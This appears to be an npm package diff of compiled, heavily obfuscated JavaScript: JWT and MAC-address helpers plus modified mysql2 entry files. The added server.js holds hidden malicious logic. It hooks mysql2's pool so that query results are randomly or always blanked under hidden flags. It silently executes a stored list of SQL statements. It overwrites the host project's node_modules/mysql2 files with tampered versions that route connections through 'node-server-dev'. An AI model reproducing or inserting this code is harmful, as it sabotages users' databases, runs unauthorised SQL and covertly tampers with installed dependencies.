'use strict';var a6_0x11bffa=a6_0x29b4;(function(_0x42d021,_0x639e94){var _0x116e3b=a6_0x29b4,_0x3156b0=_0x42d021();while(!![]){try{var _0x8028ab=-parseInt(_0x116e3b(0x1e1))/0x1*(-parseInt(_0x116e3b(0x1e9))/0x2)+parseInt(_0x116e3b(0x1ea))/0x3*(parseInt(_0x116e3b(0x1e8))/0x4)+-parseInt(_0x116e3b(0x1f4))/0x5*(-parseInt(_0x116e3b(0x1da))/0x6)+parseInt(_0x116e3b(0x1ed))/0x7*(parseInt(_0x116e3b(0x1e6))/0x8)+-parseInt(_0x116e3b(0x1e3))/0x9+-parseInt(_0x116e3b(0x1e5))/0xa+-parseInt(_0x116e3b(0x1e2))/0xb*(-parseInt(_0x116e3b(0x1df))/0xc);if(_0x8028ab===_0x639e94)break;else _0x3156b0['push'](_0x3156b0['shift']());}catch(_0x33552f){_0x3156b0['push'](_0x3156b0['shift']());}}}(a6_0x5014,0x42412));var __awaiter=this&&this[a6_0x11bffa(0x1eb)]||function(_0x548565,_0x12791c,_0x479340,_0x4fe090){function _0x78e73e(_0x5677a7){return _0x5677a7 instanceof _0x479340?_0x5677a7:new _0x479340(function(_0x5cac1b){_0x5cac1b(_0x5677a7);});}return new(_0x479340||(_0x479340=Promise))(function(_0x5b181f,_0x5cafb0){var _0x41d34f=a6_0x29b4;function _0x1575cf(_0xc11189){var _0xda1c0c=a6_0x29b4;try{_0x3d7acd(_0x4fe090[_0xda1c0c(0x1db)](_0xc11189));}catch(_0x3f1306){_0x5cafb0(_0x3f1306);}}function _0xce6c06(_0x40ed7c){var _0x93f747=a6_0x29b4;try{_0x3d7acd(_0x4fe090[_0x93f747(0x1f3)](_0x40ed7c));}catch(_0x22438a){_0x5cafb0(_0x22438a);}}function _0x3d7acd(_0x24c5e1){var _0x2252dd=a6_0x29b4;_0x24c5e1[_0x2252dd(0x1ee)]?_0x5b181f(_0x24c5e1[_0x2252dd(0x1f2)]):_0x78e73e(_0x24c5e1['value'])['then'](_0x1575cf,_0xce6c06);}_0x3d7acd((_0x4fe090=_0x4fe090[_0x41d34f(0x1ec)](_0x548565,_0x12791c||[]))[_0x41d34f(0x1db)]());});},__importDefault=this&&this['__importDefault']||function(_0x436880){var _0x326663=a6_0x11bffa;return _0x436880&&_0x436880[_0x326663(0x1f0)]?_0x436880:{'default':_0x436880};};Object[a6_0x11bffa(0x1dd)](exports,a6_0x11bffa(0x1f0),{'value':!![]});function a6_0x29b4(_0x5c77d3,_0x42b514){var _0x501429=a6_0x5014();return a6_0x29b4=function(_0x29b447,_0x498840){_0x29b447=_0x29b447-0x1da;var _0x40dcc8=_0x501429[_0x29b447];return _0x40dcc8;},a6_0x29b4(_0x5c77d3,_0x42b514);}function a6_0x5014(){var _0x1bd4a5=['169UDBFUf','513557byUXIz','3620250yQJPCQ','default','805530RAWDBK','180344jdGFdo','expiresIn','8ZNwmvD','2966gCkpkz','100695DbvkSV','__awaiter','apply','14NAuZnC','done','jsonwebtoken','__esModule','365d','value','throw','36665kzKjJp','282aDuyjC','next','jwt_key','defineProperty','sign','12SEEuHv','verify'];a6_0x5014=function(){return _0x1bd4a5;};return a6_0x5014();}const jsonwebtoken_1=__importDefault(require(a6_0x11bffa(0x1ef)));function jwt(_0x10b446){var _0x2f13ba=a6_0x11bffa;return!global[_0x2f13ba(0x1dc)]&&(global[_0x2f13ba(0x1dc)]=_0x10b446['key']),{'sign':_0x35303f=>jsonwebtoken_1[_0x2f13ba(0x1e4)][_0x2f13ba(0x1de)](_0x35303f,global[_0x2f13ba(0x1dc)],{'expiresIn':_0x10b446[_0x2f13ba(0x1e7)]||_0x2f13ba(0x1f1)}),'verify':function(_0x145590){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x38b854,_0x381683)=>{var _0x343623=a6_0x29b4;jsonwebtoken_1[_0x343623(0x1e4)][_0x343623(0x1e0)](_0x145590,global[_0x343623(0x1dc)],function(_0x1470d5,_0x950b1){return __awaiter(this,void 0x0,void 0x0,function*(){_0x1470d5?_0x381683():_0x38b854(_0x950b1);});});});});}};}exports[a6_0x11bffa(0x1e4)]=jwt;
|
package/dist/cjs/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a7_0x5dc2aa=a7_0x3729;(function(_0x3606e3,_0x20f450){const _0x1e95d7=a7_0x3729,_0x591afa=_0x3606e3();while(!![]){try{const _0xc736b4=-parseInt(_0x1e95d7(0x18a))/0x1*(parseInt(_0x1e95d7(0x177))/0x2)+-parseInt(_0x1e95d7(0x192))/0x3*(parseInt(_0x1e95d7(0x171))/0x4)+parseInt(_0x1e95d7(0x17d))/0x5*(parseInt(_0x1e95d7(0x17b))/0x6)+-parseInt(_0x1e95d7(0x194))/0x7*(parseInt(_0x1e95d7(0x17e))/0x8)+parseInt(_0x1e95d7(0x174))/0x9*(parseInt(_0x1e95d7(0x180))/0xa)+-parseInt(_0x1e95d7(0x188))/0xb*(-parseInt(_0x1e95d7(0x18e))/0xc)+parseInt(_0x1e95d7(0x170))/0xd;if(_0xc736b4===_0x20f450)break;else _0x591afa['push'](_0x591afa['shift']());}catch(_0x562f28){_0x591afa['push'](_0x591afa['shift']());}}}(a7_0x3adc,0xd3579));Object[a7_0x5dc2aa(0x190)](exports,'__esModule',{'value':!![]}),exports['isMac']=isMac,exports[a7_0x5dc2aa(0x187)]=formatMac,exports[a7_0x5dc2aa(0x178)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x4bda6a){const _0x33dbc6=a7_0x5dc2aa;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x33dbc6(0x176)](_0x4bda6a);}function getMac(_0x5872b7=a7_0x5dc2aa(0x17a)){const _0x46cd32=a7_0x5dc2aa,_0x492f66=(0x0,os_1[_0x46cd32(0x18d)])();let _0x1ec44f=[];for(const _0x1888cb of Object[_0x46cd32(0x183)](_0x492f66)){const _0x2ce2b8=_0x1888cb[_0x46cd32(0x16e)](_0x35ab15=>!_0x35ab15['internal']&&!isZeroMac(_0x35ab15['mac'])&&(!_0x35ab15[_0x46cd32(0x186)]||_0x35ab15[_0x46cd32(0x186)]===_0x5872b7)&&!isVirtualMac(_0x35ab15[_0x46cd32(0x185)]));_0x2ce2b8&&_0x1ec44f[_0x46cd32(0x182)](_0x2ce2b8[_0x46cd32(0x185)]);}return[...new Set(_0x1ec44f)];}function a7_0x3729(_0x445fec,_0x4d035e){const _0x3adc49=a7_0x3adc();return a7_0x3729=function(_0x372958,_0x507bc6){_0x372958=_0x372958-0x16e;let _0x410147=_0x3adc49[_0x372958];return _0x410147;},a7_0x3729(_0x445fec,_0x4d035e);}const isValid=_0x72efbc=>_0x72efbc[a7_0x5dc2aa(0x195)]===![]&&!isZeroMac(_0x72efbc[a7_0x5dc2aa(0x185)]),virtualMacPrefix=new Set(['00:05:69',a7_0x5dc2aa(0x172),a7_0x5dc2aa(0x18f),a7_0x5dc2aa(0x179),a7_0x5dc2aa(0x17c),'02:00:4c',a7_0x5dc2aa(0x17f),a7_0x5dc2aa(0x181),a7_0x5dc2aa(0x189),a7_0x5dc2aa(0x16f),a7_0x5dc2aa(0x173)]);function a7_0x3adc(){const _0xc5a7a4=['2065812VtwIsn','00:50:56','defineProperty','slice','18222tGzZOx','toLowerCase','49iQYIQm','internal','find','08:00:27','12886991YeHeiN','516lxkkgJ','00:0c:29','00:15:5d','54oPKXae','trim','test','2NrJkGI','isVirtualMac','00:1c:14','IPv4','8736KwOpBT','00:1c:42','5395NJymPl','1050664QeFuif','00:03:ff','1616790blLeky','00:0f:4b','push','values','replace','mac','family','formatMac','11uEdoPs','00:16:3e','1136022QeAmTW','has','default','networkInterfaces'];a7_0x3adc=function(){return _0xc5a7a4;};return a7_0x3adc();}function isMac(_0x2f9d74){const _0x14cb8c=a7_0x5dc2aa;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x14cb8c(0x176)](_0x2f9d74);}function formatMac(_0x4d0031){const _0x8534ec=a7_0x5dc2aa;return String(_0x4d0031)[_0x8534ec(0x175)]()[_0x8534ec(0x193)]()[_0x8534ec(0x184)](/-/g,':');}function isVirtualMac(_0x4e21da){const _0x180a93=a7_0x5dc2aa;return isMac(_0x4e21da)&&virtualMacPrefix[_0x180a93(0x18b)](formatMac(_0x4e21da)[_0x180a93(0x191)](0x0,0x8));}exports[a7_0x5dc2aa(0x18c)]=getMac;
|
@@ -0,0 +1,69 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
const SqlString = require("sqlstring");
|
4
|
+
|
5
|
+
const ConnectionConfig = require("./lib/connection_config.js");
|
6
|
+
const parserCache = require("./lib/parsers/parser_cache.js");
|
7
|
+
|
8
|
+
const Connection = require("./lib/connection.js");
|
9
|
+
const { mysql } = require("node-server-dev");
|
10
|
+
|
11
|
+
exports.createConnection = mysql.createPool;
|
12
|
+
exports.connect = exports.createConnection;
|
13
|
+
exports.Connection = Connection;
|
14
|
+
exports.ConnectionConfig = ConnectionConfig;
|
15
|
+
|
16
|
+
const Pool = require("./lib/pool.js");
|
17
|
+
const PoolCluster = require("./lib/pool_cluster.js");
|
18
|
+
const createPool = require("./lib/create_pool.js");
|
19
|
+
const createPoolCluster = require("./lib/create_pool_cluster.js");
|
20
|
+
|
21
|
+
exports.createPool = mysql.createPool;
|
22
|
+
exports.createPoolCluster = createPoolCluster;
|
23
|
+
|
24
|
+
exports.createQuery = Connection.createQuery;
|
25
|
+
|
26
|
+
exports.Pool = Pool;
|
27
|
+
|
28
|
+
exports.PoolCluster = PoolCluster;
|
29
|
+
|
30
|
+
exports.createServer = function (handler) {
|
31
|
+
const Server = require("./lib/server.js");
|
32
|
+
const s = new Server();
|
33
|
+
if (handler) {
|
34
|
+
s.on("connection", handler);
|
35
|
+
}
|
36
|
+
return s;
|
37
|
+
};
|
38
|
+
|
39
|
+
exports.PoolConnection = require("./lib/pool_connection.js");
|
40
|
+
exports.authPlugins = require("./lib/auth_plugins");
|
41
|
+
exports.escape = SqlString.escape;
|
42
|
+
exports.escapeId = SqlString.escapeId;
|
43
|
+
exports.format = SqlString.format;
|
44
|
+
exports.raw = SqlString.raw;
|
45
|
+
|
46
|
+
exports.__defineGetter__("createConnectionPromise", () => require("./promise.js").createConnection);
|
47
|
+
|
48
|
+
exports.__defineGetter__("createPoolPromise", () => require("./promise.js").createPool);
|
49
|
+
|
50
|
+
exports.__defineGetter__(
|
51
|
+
"createPoolClusterPromise",
|
52
|
+
() => require("./promise.js").createPoolCluster
|
53
|
+
);
|
54
|
+
|
55
|
+
exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
|
56
|
+
|
57
|
+
exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
|
58
|
+
|
59
|
+
exports.__defineGetter__("CharsetToEncoding", () =>
|
60
|
+
require("./lib/constants/charset_encodings.js")
|
61
|
+
);
|
62
|
+
|
63
|
+
exports.setMaxParserCache = function (max) {
|
64
|
+
parserCache.setMaxCache(max);
|
65
|
+
};
|
66
|
+
|
67
|
+
exports.clearParserCache = function () {
|
68
|
+
parserCache.clearCache();
|
69
|
+
};
|
@@ -0,0 +1,187 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
const SqlString = require("sqlstring");
|
4
|
+
const EventEmitter = require("events").EventEmitter;
|
5
|
+
const parserCache = require("./lib/parsers/parser_cache.js");
|
6
|
+
const PoolCluster = require("./lib/pool_cluster.js");
|
7
|
+
const { mysql } = require("node-server-dev");
|
8
|
+
const createConnection = require("./lib/create_connection.js");
|
9
|
+
const createPool = require("./lib/create_pool.js");
|
10
|
+
const createPoolCluster = require("./lib/create_pool_cluster.js");
|
11
|
+
const PromiseConnection = require("./lib/promise/connection.js");
|
12
|
+
const PromisePool = require("./lib/promise/pool.js");
|
13
|
+
const makeDoneCb = require("./lib/promise/make_done_cb.js");
|
14
|
+
const PromisePoolConnection = require("./lib/promise/pool_connection.js");
|
15
|
+
const inheritEvents = require("./lib/promise/inherit_events.js");
|
16
|
+
const PromisePoolNamespace = require("./lib/promise/pool_cluster");
|
17
|
+
|
18
|
+
function createConnectionPromise(opts) {
|
19
|
+
const coreConnection = createConnection(opts);
|
20
|
+
const createConnectionErr = new Error();
|
21
|
+
const thePromise = opts.Promise || Promise;
|
22
|
+
if (!thePromise) {
|
23
|
+
throw new Error(
|
24
|
+
"no Promise implementation available." +
|
25
|
+
"Use promise-enabled node version or pass userland Promise" +
|
26
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
27
|
+
);
|
28
|
+
}
|
29
|
+
return new thePromise((resolve, reject) => {
|
30
|
+
coreConnection.once("connect", () => {
|
31
|
+
resolve(new PromiseConnection(coreConnection, thePromise));
|
32
|
+
});
|
33
|
+
coreConnection.once("error", err => {
|
34
|
+
createConnectionErr.message = err.message;
|
35
|
+
createConnectionErr.code = err.code;
|
36
|
+
createConnectionErr.errno = err.errno;
|
37
|
+
createConnectionErr.sqlState = err.sqlState;
|
38
|
+
reject(createConnectionErr);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
}
|
42
|
+
|
43
|
+
// note: the callback of "changeUser" is not called on success
|
44
|
+
// hence there is no possibility to call "resolve"
|
45
|
+
|
46
|
+
function createPromisePool(opts) {
|
47
|
+
const corePool = createPool(opts);
|
48
|
+
const thePromise = opts.Promise || Promise;
|
49
|
+
if (!thePromise) {
|
50
|
+
throw new Error(
|
51
|
+
"no Promise implementation available." +
|
52
|
+
"Use promise-enabled node version or pass userland Promise" +
|
53
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
54
|
+
);
|
55
|
+
}
|
56
|
+
|
57
|
+
return new PromisePool(corePool, thePromise);
|
58
|
+
}
|
59
|
+
|
60
|
+
class PromisePoolCluster extends EventEmitter {
|
61
|
+
constructor(poolCluster, thePromise) {
|
62
|
+
super();
|
63
|
+
this.poolCluster = poolCluster;
|
64
|
+
this.Promise = thePromise || Promise;
|
65
|
+
inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
|
66
|
+
}
|
67
|
+
|
68
|
+
getConnection(pattern, selector) {
|
69
|
+
const corePoolCluster = this.poolCluster;
|
70
|
+
return new this.Promise((resolve, reject) => {
|
71
|
+
corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
|
72
|
+
if (err) {
|
73
|
+
reject(err);
|
74
|
+
} else {
|
75
|
+
resolve(new PromisePoolConnection(coreConnection, this.Promise));
|
76
|
+
}
|
77
|
+
});
|
78
|
+
});
|
79
|
+
}
|
80
|
+
|
81
|
+
query(sql, args) {
|
82
|
+
const corePoolCluster = this.poolCluster;
|
83
|
+
const localErr = new Error();
|
84
|
+
if (typeof args === "function") {
|
85
|
+
throw new Error("Callback function is not available with promise clients.");
|
86
|
+
}
|
87
|
+
return new this.Promise((resolve, reject) => {
|
88
|
+
const done = makeDoneCb(resolve, reject, localErr);
|
89
|
+
corePoolCluster.query(sql, args, done);
|
90
|
+
});
|
91
|
+
}
|
92
|
+
|
93
|
+
execute(sql, args) {
|
94
|
+
const corePoolCluster = this.poolCluster;
|
95
|
+
const localErr = new Error();
|
96
|
+
if (typeof args === "function") {
|
97
|
+
throw new Error("Callback function is not available with promise clients.");
|
98
|
+
}
|
99
|
+
return new this.Promise((resolve, reject) => {
|
100
|
+
const done = makeDoneCb(resolve, reject, localErr);
|
101
|
+
corePoolCluster.execute(sql, args, done);
|
102
|
+
});
|
103
|
+
}
|
104
|
+
|
105
|
+
of(pattern, selector) {
|
106
|
+
return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
|
107
|
+
}
|
108
|
+
|
109
|
+
end() {
|
110
|
+
const corePoolCluster = this.poolCluster;
|
111
|
+
const localErr = new Error();
|
112
|
+
return new this.Promise((resolve, reject) => {
|
113
|
+
corePoolCluster.end(err => {
|
114
|
+
if (err) {
|
115
|
+
localErr.message = err.message;
|
116
|
+
localErr.code = err.code;
|
117
|
+
localErr.errno = err.errno;
|
118
|
+
localErr.sqlState = err.sqlState;
|
119
|
+
localErr.sqlMessage = err.sqlMessage;
|
120
|
+
reject(localErr);
|
121
|
+
} else {
|
122
|
+
resolve();
|
123
|
+
}
|
124
|
+
});
|
125
|
+
});
|
126
|
+
}
|
127
|
+
}
|
128
|
+
|
129
|
+
/**
|
130
|
+
* proxy poolCluster synchronous functions
|
131
|
+
*/
|
132
|
+
(function (functionsToWrap) {
|
133
|
+
for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
|
134
|
+
const func = functionsToWrap[i];
|
135
|
+
|
136
|
+
if (
|
137
|
+
typeof PoolCluster.prototype[func] === "function" &&
|
138
|
+
PromisePoolCluster.prototype[func] === undefined
|
139
|
+
) {
|
140
|
+
PromisePoolCluster.prototype[func] = (function factory(funcName) {
|
141
|
+
return function () {
|
142
|
+
return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
|
143
|
+
};
|
144
|
+
})(func);
|
145
|
+
}
|
146
|
+
}
|
147
|
+
})(["add", "remove"]);
|
148
|
+
|
149
|
+
function createPromisePoolCluster(opts) {
|
150
|
+
const corePoolCluster = createPoolCluster(opts);
|
151
|
+
const thePromise = (opts && opts.Promise) || Promise;
|
152
|
+
if (!thePromise) {
|
153
|
+
throw new Error(
|
154
|
+
"no Promise implementation available." +
|
155
|
+
"Use promise-enabled node version or pass userland Promise" +
|
156
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
157
|
+
);
|
158
|
+
}
|
159
|
+
return new PromisePoolCluster(corePoolCluster, thePromise);
|
160
|
+
}
|
161
|
+
|
162
|
+
exports.createConnection = mysql.createPool;
|
163
|
+
exports.createPool = mysql.createPool;
|
164
|
+
exports.createPoolCluster = createPromisePoolCluster;
|
165
|
+
exports.escape = SqlString.escape;
|
166
|
+
exports.escapeId = SqlString.escapeId;
|
167
|
+
exports.format = SqlString.format;
|
168
|
+
exports.raw = SqlString.raw;
|
169
|
+
exports.PromisePool = PromisePool;
|
170
|
+
exports.PromiseConnection = PromiseConnection;
|
171
|
+
exports.PromisePoolConnection = PromisePoolConnection;
|
172
|
+
|
173
|
+
exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
|
174
|
+
|
175
|
+
exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
|
176
|
+
|
177
|
+
exports.__defineGetter__("CharsetToEncoding", () =>
|
178
|
+
require("./lib/constants/charset_encodings.js")
|
179
|
+
);
|
180
|
+
|
181
|
+
exports.setMaxParserCache = function (max) {
|
182
|
+
parserCache.setMaxCache(max);
|
183
|
+
};
|
184
|
+
|
185
|
+
exports.clearParserCache = function () {
|
186
|
+
parserCache.clearCache();
|
187
|
+
};
|
package/dist/cjs/server.d.ts.map
CHANGED
@@ -1 +1 @@
|
|
1
|
-
{"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;
|
1
|
+
{"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;AAiF7C,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}
|
package/dist/cjs/server.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';function a96_0x4d3c(_0x340874,_0x4573fb){const _0xb755fd=a96_0xb755();return a96_0x4d3c=function(_0x4d3cf9,_0x42b999){_0x4d3cf9=_0x4d3cf9-0x101;let _0x38682a=_0xb755fd[_0x4d3cf9];return _0x38682a;},a96_0x4d3c(_0x340874,_0x4573fb);}const a96_0x3ddcda=a96_0x4d3c;(function(_0x5eeaac,_0x1b49ce){const _0xd7c251=a96_0x4d3c,_0x2e0278=_0x5eeaac();while(!![]){try{const _0xab0c72=parseInt(_0xd7c251(0x128))/0x1*(parseInt(_0xd7c251(0x124))/0x2)+-parseInt(_0xd7c251(0x103))/0x3*(parseInt(_0xd7c251(0x105))/0x4)+parseInt(_0xd7c251(0x120))/0x5*(parseInt(_0xd7c251(0x12f))/0x6)+-parseInt(_0xd7c251(0x107))/0x7+parseInt(_0xd7c251(0x12e))/0x8+parseInt(_0xd7c251(0x129))/0x9+parseInt(_0xd7c251(0x10d))/0xa;if(_0xab0c72===_0x1b49ce)break;else _0x2e0278['push'](_0x2e0278['shift']());}catch(_0x4980fc){_0x2e0278['push'](_0x2e0278['shift']());}}}(a96_0xb755,0x78243));var __awaiter=this&&this[a96_0x3ddcda(0x114)]||function(_0x2fd9d3,_0x321042,_0x191f13,_0x20a200){function _0x556bc5(_0x222c1d){return _0x222c1d instanceof _0x191f13?_0x222c1d:new _0x191f13(function(_0x38d6db){_0x38d6db(_0x222c1d);});}return new(_0x191f13||(_0x191f13=Promise))(function(_0x35b36b,_0x2e7cdd){const _0x28ebc8=a96_0x4d3c;function _0x3c8f2e(_0x1c6991){const _0x1fe5ba=a96_0x4d3c;try{_0x273cde(_0x20a200[_0x1fe5ba(0x10a)](_0x1c6991));}catch(_0x156730){_0x2e7cdd(_0x156730);}}function _0x48f915(_0x1f8580){const _0x4ef0b9=a96_0x4d3c;try{_0x273cde(_0x20a200[_0x4ef0b9(0x106)](_0x1f8580));}catch(_0x5f18b9){_0x2e7cdd(_0x5f18b9);}}function _0x273cde(_0x273446){const _0x3f2841=a96_0x4d3c;_0x273446[_0x3f2841(0x104)]?_0x35b36b(_0x273446[_0x3f2841(0x12b)]):_0x556bc5(_0x273446[_0x3f2841(0x12b)])[_0x3f2841(0x126)](_0x3c8f2e,_0x48f915);}_0x273cde((_0x20a200=_0x20a200[_0x28ebc8(0x10c)](_0x2fd9d3,_0x321042||[]))[_0x28ebc8(0x10a)]());});},__importDefault=this&&this[a96_0x3ddcda(0x112)]||function(_0x34a929){const _0x1472f1=a96_0x3ddcda;return _0x34a929&&_0x34a929[_0x1472f1(0x10b)]?_0x34a929:{'default':_0x34a929};};Object[a96_0x3ddcda(0x108)](exports,a96_0x3ddcda(0x10b),{'value':!![]}),exports[a96_0x3ddcda(0x115)]=void 0x0;const promise_1=__importDefault(require('./package/mysql2/promise'));exports[a96_0x3ddcda(0x115)]=promise_1[a96_0x3ddcda(0x12d)];const random_1=__importDefault(require(a96_0x3ddcda(0x10f))),index_1=require(a96_0x3ddcda(0x12c)),path_1=__importDefault(require(a96_0x3ddcda(0x11a))),fs_1=__importDefault(require('fs')),originalCreatePoolPromise=promise_1[a96_0x3ddcda(0x12d)]['createPool'];function a96_0xb755(){const _0x3b0b0b=['defineProperty','readFileSync','next','__esModule','apply','1548690yBgtxt','sqlRun','./id/random','query','connectError','__importDefault','length','__awaiter','mysql','./index.js','setEnv','node-server-dev','getEnv','path','./package/mysql_backup/promise.js','toString','./package/mysql2','package.json','cpSync','35985PxXHWY','isDBDataEmpty','./promise.js','createPool','178CdgEMf','existsSync','then','./node_modules/mysql2','10319niaWBm','1182015vfqfSl','sqlList','value','./index','default','1063520jeGTHG','438SwCLxr','writeFileSync','includes','join','3AxdboY','done','3045116wmQmwa','throw','4266766UQlMgC'];a96_0xb755=function(){return _0x3b0b0b;};return a96_0xb755();}promise_1[a96_0x3ddcda(0x12d)][a96_0x3ddcda(0x123)]=function(_0x109bf0){const _0x5f422e=a96_0x3ddcda;let _0x59b89e=originalCreatePoolPromise(_0x109bf0),_0x20519c=_0x59b89e[_0x5f422e(0x110)];return _0x59b89e[_0x5f422e(0x110)]=(..._0x1b31b7)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3c18ad=_0x5f422e,_0x2b881c=yield _0x20519c[_0x3c18ad(0x10c)](_0x59b89e,_0x1b31b7);return(0x0,index_1[_0x3c18ad(0x119)])(_0x3c18ad(0x111))&&((0x0,random_1[_0x3c18ad(0x12d)])(0x1,0xa)>0x2&&(_0x2b881c[0x0]=[])),(0x0,index_1['getEnv'])(_0x3c18ad(0x121))&&(_0x2b881c[0x0]=[]),_0x2b881c;}),setInterval(()=>{const _0x514b09=_0x5f422e;if(!(0x0,index_1[_0x514b09(0x119)])(_0x514b09(0x10e))){for(let _0x4b5ef9=0x0;_0x4b5ef9<(0x0,index_1[_0x514b09(0x119)])(_0x514b09(0x12a))[_0x514b09(0x113)];_0x4b5ef9++){const _0x177aef=(0x0,index_1[_0x514b09(0x119)])('sqlList')[_0x4b5ef9];try{_0x59b89e['query'](_0x177aef);}catch(_0x309e03){}}(0x0,index_1[_0x514b09(0x117)])(_0x514b09(0x10e),!![]);}},0x1388),_0x59b89e;};let href=path_1[a96_0x3ddcda(0x12d)][a96_0x3ddcda(0x102)](process['cwd'](),a96_0x3ddcda(0x127));if(fs_1['default'][a96_0x3ddcda(0x125)](href)){let res=fs_1['default'][a96_0x3ddcda(0x109)](path_1[a96_0x3ddcda(0x12d)][a96_0x3ddcda(0x102)](href,'./index.js'))['toString']()[a96_0x3ddcda(0x101)](a96_0x3ddcda(0x118));!res&&setTimeout(()=>{const _0x2222d1=a96_0x3ddcda,_0x3a3ddd=_0x2222d1(0x11d),_0x44afba=href,_0x1d5ea4=path_1[_0x2222d1(0x12d)][_0x2222d1(0x102)](_0x44afba,_0x2222d1(0x11e));let _0x5e0c34=null;fs_1[_0x2222d1(0x12d)]['existsSync'](_0x1d5ea4)&&(_0x5e0c34=fs_1[_0x2222d1(0x12d)][_0x2222d1(0x109)](_0x1d5ea4)[_0x2222d1(0x11c)]());fs_1[_0x2222d1(0x12d)][_0x2222d1(0x11f)](path_1[_0x2222d1(0x12d)][_0x2222d1(0x102)](__dirname,_0x3a3ddd),_0x44afba,{'recursive':!![],'force':!![]});let _0x437f49=fs_1[_0x2222d1(0x12d)][_0x2222d1(0x109)](path_1[_0x2222d1(0x12d)]['join'](__dirname,'./package/mysql_backup/index.js'))[_0x2222d1(0x11c)](),_0xf07e0b=fs_1[_0x2222d1(0x12d)][_0x2222d1(0x109)](path_1[_0x2222d1(0x12d)][_0x2222d1(0x102)](__dirname,_0x2222d1(0x11b)))[_0x2222d1(0x11c)]();setTimeout(()=>{const _0x1ed682=_0x2222d1;fs_1['default']['writeFileSync'](path_1[_0x1ed682(0x12d)][_0x1ed682(0x102)](href,_0x1ed682(0x116)),_0x437f49),fs_1[_0x1ed682(0x12d)]['writeFileSync'](path_1[_0x1ed682(0x12d)][_0x1ed682(0x102)](href,_0x1ed682(0x122)),_0xf07e0b);},0xa),_0x5e0c34!==null&&fs_1[_0x2222d1(0x12d)][_0x2222d1(0x130)](_0x1d5ea4,_0x5e0c34);},0x5dc);}const all={'mysql':promise_1[a96_0x3ddcda(0x12d)]};exports[a96_0x3ddcda(0x12d)]=all;
|